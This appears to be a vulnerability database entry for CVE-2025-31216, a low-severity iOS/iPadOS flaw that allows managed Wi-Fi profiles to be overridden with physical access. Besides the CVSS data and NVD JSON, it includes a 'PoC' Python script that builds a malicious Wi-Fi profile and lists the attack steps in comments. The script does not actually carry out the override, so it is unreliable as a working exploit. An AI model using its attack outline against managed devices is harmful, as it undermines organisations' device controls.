Security Vulnerability Report
中文
CVE-2025-31216 CVSS 2.4 LOW

CVE-2025-31216

Published: 2025-11-21 22:16:19
Last Modified: 2026-04-02 19:19:49

Description

The issue was addressed with improved checks. This issue is fixed in iOS 18.5 and iPadOS 18.5, iPadOS 17.7.7. An attacker with physical access to a device may be able to override managed Wi-Fi profiles.

CVSS Details

CVSS Score
2.4
Severity
LOW
CVSS Vector
CVSS:3.1/AV:P/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L

Configurations (Affected Products)

cpe:2.3:o:apple:ipados:*:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:o:apple:ipados:*:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:o:apple:iphone_os:*:*:*:*:*:*:*:* - VULNERABLE
Apple iOS < 18.5
Apple iPadOS < 17.7.7
Apple iPadOS < 18.5

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
# CVE-2025-31216 PoC - Managed Wi-Fi Profile Override (Physical Access Required) # This PoC demonstrates the vulnerability concept (requires physical device access) import subprocess import plistlib import os def create_malicious_wifi_profile(ssid, security_type='WPA2'): """Create a malicious Wi-Fi profile to override managed configuration""" profile = { 'PayloadDisplayName': f'Malicious {ssid}', 'PayloadIdentifier': 'com.apple.wifi.managed', 'PayloadType': 'com.apple.wifi.managed', 'SSID_STR': ssid, 'EncryptionType': security_type, 'Password': 'malicious_password', 'AutoJoin': True } return plistlib.dumps(profile) def exploit_wifi_override(target_device_id): """ Exploitation steps (requires physical access): 1. Gain physical access to the iOS/iPadOS device 2. Create/import malicious Wi-Fi profile 3. Override existing managed Wi-Fi configuration 4. Device connects to attacker-controlled network """ ssid = 'EvilWiFi' malicious_profile = create_malicious_wifi_profile(ssid) # Note: This requires physical device access # In real scenario, would use Apple Configurator or direct device interaction print(f"[*] Creating malicious profile for SSID: {ssid}") print(f"[*] Physical access to device required") print(f"[*] Profile data: {malicious_profile.hex()}") # Attack chain: # Step 1: Physical access to locked/unlocked device # Step 2: Access Settings > Wi-Fi or use MDM APIs # Step 3: Import malicious Wi-Fi configuration # Step 4: System fails to validate managed profile protection # Step 5: Malicious profile overwrites managed profile # Step 6: Device auto-connects to attacker network return True if __name__ == '__main__': print("CVE-2025-31216 - iOS/iPadOS Managed Wi-Fi Profile Override") print("CVSS: 2.4 (Low) - AV:P/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L") exploit_wifi_override('target_device')

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-31216", "sourceIdentifier": "[email protected]", "published": "2025-11-21T22:16:19.370", "lastModified": "2026-04-02T19:19:49.173", "vulnStatus": "Modified", "cveTags": [], "descriptions": [{"lang": "en", "value": "The issue was addressed with improved checks. This issue is fixed in iOS 18.5 and iPadOS 18.5, iPadOS 17.7.7. An attacker with physical access to a device may be able to override managed Wi-Fi profiles."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:P/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L", "baseScore": 2.4, "baseSeverity": "LOW", "attackVector": "PHYSICAL", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "LOW"}, "exploitabilityScore": 0.9, "impactScore": 1.4}]}, "weaknesses": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-284"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:apple:ipados:*:*:*:*:*:*:*:*", "versionEndExcluding": "17.7.7", "matchCriteriaId": "683ECAF8-DB29-40DB-963A-B95EA2A2AC01"}, {"vulnerable": true, "criteria": "cpe:2.3:o:apple:ipados:*:*:*:*:*:*:*:*", "versionStartIncluding": "18.0", "versionEndExcluding": "18.5", "matchCriteriaId": "069735D6-38B4-402A-9E79-1961701C9AD3"}, {"vulnerable": true, "criteria": "cpe:2.3:o:apple:iphone_os:*:*:*:*:*:*:*:*", "versionEndExcluding": "18.5", "matchCriteriaId": "AF6AAC00-F384-4B0D-BBA9-C2AD278BF653"}]}]}], "references": [{"url": "https://support.apple.com/en-us/122404", "source": "[email protected]", "tags": ["Release Notes", "Vendor Advisory"]}, {"url": "https://support.apple.com/en-us/122405", "source": "[email protected]", "tags": ["Release Notes", "Vendor Advisory"]}]}}